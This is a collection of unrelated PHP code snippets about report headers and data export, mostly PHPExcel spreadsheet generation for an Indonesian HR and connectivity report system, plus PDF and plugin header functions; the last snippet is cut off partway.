$excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->nama_cabang);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->nama_provider);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nomor_pelanggan);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->ip_public);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->tanggal_kontrak);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->masa_kontrak);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(25); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(20); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(25); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(25);\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Siswa\");\n $excel->setActiveSheetIndex(0);\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Laporan Koneksi Internet.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "function DisplayTableHeader()\n{\n\t$pdf = $GLOBALS['pdf'];\n\t$width_col_no = $GLOBALS['width_col_no'];\n\t$sync_name_index = $GLOBALS['sync_name_index'];\n\t$collectionWidth = $GLOBALS['collectionWidth'];\n\t$totalWidth = $GLOBALS['totalWidth'];\n\n\t//setkan font jadi bold untuk header\n\t$pdf->SetFont('helvetica','B',9);\n\n\t//koleksi tinggi column header\n\t$header_cols_height = array();\n\n\t//tinggi untuk column 'No'\n\t$header_cols_height[] = $pdf->getNumLines('No',$width_col_no);\n\n\t//dapatkan tinggi untuk setiap column\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$header_cols_height[] = $pdf->getNumLines($value,$width_converted);\n\t}\n\n\t//cari siapa paling tinggi\n\t$max_height = max($header_cols_height);\n\n\t//display\n\t$pdf->SetFillColor(211,211,211);\n\n\t$pdf->MultiCell($w=$width_col_no, $h=5*$max_height+3, $txt='No', $border=1, $align='L', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$pdf->MultiCell($w=$width_converted, $h=5*$max_height+3, $txt=$value, $border=1, $align='C', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\t}\n\n\t//reset font\n\t$pdf->SetFont('helvetica','',9);\n\t$pdf->Ln();\n}", "function Header()\n\t\t{\n\t\t\t$this->SetFont('Helvetica','B',18);\n\t\t\t$this->SetTextColor(184,10,10);\n\t\t\t$this->Cell(30);\n\t\t\t$this->Cell(120,10,utf8_decode(\"Mensajes Contestados\"),0,0,'C');\n\t\t\t$this->Ln(20);\n\t\t}", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "private function renderSectionHeadings() {\n\t\t$headings = array();\n\t\t$separator = $this->getSubpart('HEADING_SEPARATOR');\n\n\t\tforeach ($this->sections as $key => $section) {\n\t\t\t$class = ($key == 0) ? 'tx-explanationbox-pi1-active' : 'tx-explanationbox-pi1-inactive';\n\n\t\t\t$this->setMarker('class_heading', $class);\n\t\t\t$this->setMarker('heading_number', $key);\n\t\t\t$this->setMarker('heading', htmlspecialchars($section['title']));\n\t\t\t$headings[] = $this->getSubpart('SINGLE_HEADING');\n\t\t}\n\n\t\tif (count($this->sections) > 1) {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-active');\n\t\t} else {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-inactive');\n\t\t}\n\n\t\t$this->setMarker('number_of_sections', count($this->sections));\n\t\t$this->setSubpart('SECTION_HEADINGS', implode($separator, $headings));\n\t}", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "public function export()\n {\n include APPPATH . 'third_party/PHPExcel.php';\n\n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n date_default_timezone_set('Asia/Jakarta');\n $date = date(\"mY\");\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('Admin PTPN VIII (' .$this->session->userdata('status_login'). ')')\n ->setLastModifiedBy('Admin PTPN VIII (' .$this->session->userdata('status_login'). ')')\n ->setTitle(\"Data A1\" .$date)\n ->setSubject(\"A1\" .$date)\n ->setDescription(\"Laporan Data A1\" .$date)\n ->setKeywords(\"Data A1\" .$date);\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat header tabel nya pada baris ke 1\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"NPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('B1', \"NAMA\");\n $excel->setActiveSheetIndex(0)->setCellValue('C1', \"NM_PGL\");\n $excel->setActiveSheetIndex(0)->setCellValue('D1', \"GLR_DPN\");\n $excel->setActiveSheetIndex(0)->setCellValue('E1', \"GLR_BLK\");\n $excel->setActiveSheetIndex(0)->setCellValue('F1', \"TPT_LAHIR\");\n $excel->setActiveSheetIndex(0)->setCellValue('G1', \"TGL_LAHIR\");\n $excel->setActiveSheetIndex(0)->setCellValue('H1', \"KELAMIN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I1', \"GOL_DARAH\");\n $excel->setActiveSheetIndex(0)->setCellValue('J1', \"AGAMA\");\n $excel->setActiveSheetIndex(0)->setCellValue('K1', \"ALAMAT\");\n $excel->setActiveSheetIndex(0)->setCellValue('L1', \"KOTA\");\n $excel->setActiveSheetIndex(0)->setCellValue('M1', \"TINGGAL\");\n $excel->setActiveSheetIndex(0)->setCellValue('N1', \"SIPIL\");\n $excel->setActiveSheetIndex(0)->setCellValue('O1', \"STAT_IS\");\n $excel->setActiveSheetIndex(0)->setCellValue('P1', \"TGL_NIKAH\");\n $excel->setActiveSheetIndex(0)->setCellValue('Q1', \"TGL_CERAI\");\n $excel->setActiveSheetIndex(0)->setCellValue('R1', \"KANDUNG\");\n $excel->setActiveSheetIndex(0)->setCellValue('S1', \"ANGKAT\");\n $excel->setActiveSheetIndex(0)->setCellValue('T1', \"TANGGUNG\");\n $excel->setActiveSheetIndex(0)->setCellValue('U1', \"TGL_PPH\");\n $excel->setActiveSheetIndex(0)->setCellValue('V1', \"KD_PEND\");\n $excel->setActiveSheetIndex(0)->setCellValue('W1', \"TGL_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('X1', \"NO_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('Y1', \"KD_KELAS\");\n $excel->setActiveSheetIndex(0)->setCellValue('Z1', \"KLS_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AA1', \"KLS_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AB1', \"GOL\");\n $excel->setActiveSheetIndex(0)->setCellValue('AC1', \"MK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AD1', \"GOL_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AE1', \"GOL_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AF1', \"GPO\");\n $excel->setActiveSheetIndex(0)->setCellValue('AG1', \"KD_KBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AH1', \"KD_ADF\");\n $excel->setActiveSheetIndex(0)->setCellValue('AI1', \"KD_JAB\");\n $excel->setActiveSheetIndex(0)->setCellValue('AJ1', \"NAMA_JAB\");\n $excel->setActiveSheetIndex(0)->setCellValue('AK1', \"KD_BUD\");\n $excel->setActiveSheetIndex(0)->setCellValue('AL1', \"JAB_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AM1', \"JAB_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AN1', \"JAB_TGL\");\n $excel->setActiveSheetIndex(0)->setCellValue('AO1', \"ASTEK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AP1', \"TASPEN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AQ1', \"NO_KK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AR1', \"NO_NIK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AS1', \"NO_BPJS\");\n $excel->setActiveSheetIndex(0)->setCellValue('AT1', \"TGL_MPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('AU1', \"TGL_PEN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AV1', \"MKTHN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AW1', \"MKBLN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AX1', \"MKHR\");\n $excel->setActiveSheetIndex(0)->setCellValue('AY1', \"MPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('AZ1', \"STAT_REC\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('B1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('C1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('D1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('E1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('F1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('G1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('H1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('I1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('J1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('K1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('L1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('M1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('N1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('O1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('P1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DDMMYYYY);\n $excel->getActiveSheet()->getStyle('Q1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DDMMYYYY);\n $excel->getActiveSheet()->getStyle('R1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('S1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('T1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('U1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('V1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('W1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('X1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Y1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Z1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AA1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AB1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AC1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AD1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AE1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AF1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AG1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AH1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AI1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AJ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AK1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AL1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AM1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AN1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AO1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AP1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AQ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AR1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AS1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AT1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AU1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AV1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AW1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AX1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AY1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AZ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n\n // Menampilkan semua data dari tabel rekao A1\n $numrow = 2; // Set baris pertama untuk isi tabel adalah baris ke 2\n $sdm01 = $this->Model_admin->tampil_a1();\n foreach ($sdm01->result_array() as $i) { // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('A' . $numrow, $i['npp'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $i['nama']);\n $excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $i['nm_pgl']);\n $excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $i['glr_dpn']);\n $excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $i['glr_blk']);\n $excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $i['kota_lhr']);\n $excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, date('d-m-Y', strtotime($i['tgl_lhr'])));\n $excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $i['j_kelamin']);\n $excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $i['gol_darah']);\n $excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $i['agama']);\n $excel->setActiveSheetIndex(0)->setCellValue('K' . $numrow, $i['alamat_tgl']);\n $excel->setActiveSheetIndex(0)->setCellValue('L' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('M' . $numrow, '1');\n $excel->setActiveSheetIndex(0)->setCellValue('N' . $numrow, $i['st_sipil']);\n\n $sdm02 = $this->Model_admin->get_sdm02_a1($i['npp']);\n foreach ($sdm02 as $a) {\n\n $excel->setActiveSheetIndex(0)->setCellValue('O' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('P' . $numrow, date('d-m-Y', strtotime($a['tgl_nkh'])));\n $excel->setActiveSheetIndex(0)->setCellValue('Q' . $numrow, date('d-m-Y', strtotime($a['tgl_cerai'])));\n }\n\n $sdm02 = $this->Model_admin->get_sdm02_a1_anak($i['npp']);\n foreach ($sdm02 as $b) {\n $excel->setActiveSheetIndex(0)->setCellValue('R' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('S' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('T' . $numrow, $b['tanggungan']);\n $excel->setActiveSheetIndex(0)->setCellValue('U' . $numrow, '');\n }\n\n $sdm03 = $this->Model_admin->get_sdm03_a1($i['npp']);\n foreach ($sdm03 as $c) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('V' . $numrow, $c['kd_pend'], PHPExcel_Cell_DataType::TYPE_STRING);\n }\n\n $excel->setActiveSheetIndex(0)->setCellValue('W' . $numrow, date('d-m-Y', strtotime($i['tgl_masuk'])));\n\n $sdm08 = $this->Model_admin->get_sdm08_a1($i['npp']);\n foreach ($sdm08 as $d) {\n\n $excel->setActiveSheetIndex(0)->setCellValue('X' . $numrow, $d['no_sk']);\n }\n\n $sdm16 = $this->Model_admin->get_sdm16_a1($i['npp']);\n foreach ($sdm16 as $e) {\n $excel->setActiveSheetIndex(0)->setCellValue('Y' . $numrow, $e['kd_kelas']);\n $excel->setActiveSheetIndex(0)->setCellValue('Z' . $numrow, date('d-m-Y', strtotime($e['kls_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AA' . $numrow, $e['kls_sk']);\n }\n\n $sdm16 = $this->Model_admin->get_sdm16_a1_akhir($i['npp']);\n foreach ($sdm16 as $a) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AB' . $numrow, $a['golongan'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AC' . $numrow, $a['mk'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('AD' . $numrow, date('d-m-Y', strtotime($a['gol_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AE' . $numrow, $a['gol_sk']);\n $excel->setActiveSheetIndex(0)->setCellValue('AF' . $numrow, '');\n }\n\n $sdm08 = $this->Model_admin->get_sdm08_a1_akhir($i['npp']);\n foreach ($sdm08 as $a) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AG' . $numrow, $a['kd_kbn'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AH' . $numrow, $a['kd_adf'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AI' . $numrow, $a['kd_jab'], PHPExcel_Cell_DataType::TYPE_STRING);\n\n $jab = $this->Model_admin->get_jabatan($a['kd_jab']);\n foreach ($jab as $jab) {\n $excel->setActiveSheetIndex(0)->setCellValue('AJ' . $numrow, $jab['nama']);\n }\n\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AK' . $numrow, $a['kd_bud'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('AL' . $numrow, date('d-m-Y', strtotime($a['jab_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AM' . $numrow, $a['jab_sk']);\n $excel->setActiveSheetIndex(0)->setCellValue('AN' . $numrow, date('d-m-Y', strtotime($a['jab_tgl'])));\n }\n\n\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AO' . $numrow, $i['no_astek'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AP' . $numrow, $i['no_pens'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AQ' . $numrow, $i['no_kk'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AR' . $numrow, $i['no_nik'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AS' . $numrow, $i['no_bpjs'], PHPExcel_Cell_DataType::TYPE_STRING);\n\n $sdm16 = $this->Model_admin->get_sdm16_a1_akhir($i['npp']);\n $golongan = $sdm16[0]['golongan'];\n $golongan = (int)$golongan;\n if ($golongan >= 0 and $golongan <= 8) {\n $tgl_pen = date('Y-m-d', strtotime('+55 year +1 month', strtotime($i['tgl_lhr'])));\n $tgl_mpp = date('Y-m-d', strtotime('-6 month', strtotime($tgl_pen)));\n $excel->setActiveSheetIndex(0)->setCellValue('AT' . $numrow, date('01-m-Y', strtotime($tgl_mpp)));\n $excel->setActiveSheetIndex(0)->setCellValue('AU' . $numrow, date('01-m-Y', strtotime($tgl_pen)));\n }\n if ($golongan >= 9 and $golongan <= 16) {\n $tgl_pen = date('Y-m-d', strtotime('+56 year +1 month', strtotime($i['tgl_lhr'])));\n $tgl_mpp = date('Y-m-d', strtotime('-6 month', strtotime($tgl_pen)));\n $excel->setActiveSheetIndex(0)->setCellValue('AT' . $numrow, date('01-m-Y', strtotime($tgl_mpp)));\n $excel->setActiveSheetIndex(0)->setCellValue('AU' . $numrow, date('01-m-Y', strtotime($tgl_pen)));\n }\n\n $sdm01 = $this->Model_admin->tampil_a1($i['npp'])->result_array();\n $skrng = date_create($sdm01[0]['tgl_masuk']);\n $tgl_pen = date_create($tgl_pen);\n\n $diff = date_diff($skrng, $tgl_pen);\n\n if ($diff->y > 57) {\n $excel->setActiveSheetIndex(0)->setCellValue('AV' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AW' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AX' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AY' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AZ' . $numrow, '');\n } else {\n $excel->setActiveSheetIndex(0)->setCellValue('AV' . $numrow, $diff->y);\n $excel->setActiveSheetIndex(0)->setCellValue('AW' . $numrow, $diff->m);\n $excel->setActiveSheetIndex(0)->setCellValue('AX' . $numrow, $diff->d);\n $excel->setActiveSheetIndex(0)->setCellValue('AY' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AZ' . $numrow, '');\n }\n\n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('B' . 